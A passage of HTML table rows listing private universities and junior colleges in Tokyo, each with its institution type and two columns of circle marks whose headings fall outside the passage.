&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;北里大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共立女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;杏林大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国立音楽大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;慶應義塾大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;恵泉女学園大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;國學院大學&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国際基督教大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国際ファッション専門職大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国士舘大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;こども教育宝仙大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;駒澤大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;駒沢女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;芝浦工業大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;昭和大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;昭和女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白梅学園大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白百合女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実践女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;順天堂大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上智大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;情報経営イノベーション専門職大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;杉野服飾大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成蹊大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;聖心女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成城大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清泉女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;専修大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創価大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大正大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高千穂大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;拓殖大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多摩大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多摩美術大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大東文化大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中央大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;津田塾大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帝京大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帝京科学大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;テンプル大学ジャパンキャンパス&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;デジタルハリウッド大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京未来大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京医療保健大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京音楽大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京家政大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京家政学院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京工科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京国際工科専門職大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京純心大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京女子体育大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京聖栄大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京成徳大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京造形大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京通信大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京福祉大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京富士大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京保健医療専門職大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京薬科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京理科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東洋大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東洋学園大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二松學舍大學&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本社会事業大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本獣医生命科学大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本女子大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本女子体育大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本体育大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ビジネス・ブレークスルー大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文化学園大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;北京語言大学東京校&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;法政大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;星薬科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;武蔵大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;武蔵野大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;武蔵野音楽大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;武蔵野美術大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;明治学院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;明治薬科大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;明星大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目白大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ヤマザキ動物看護大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;立教大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;立正大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ルーテル学院大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;和光大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;早稲田大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;愛国学園短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;青山学院女子短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有明教育芸術短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;大妻女子大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;共立女子短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国際短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白梅学園短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
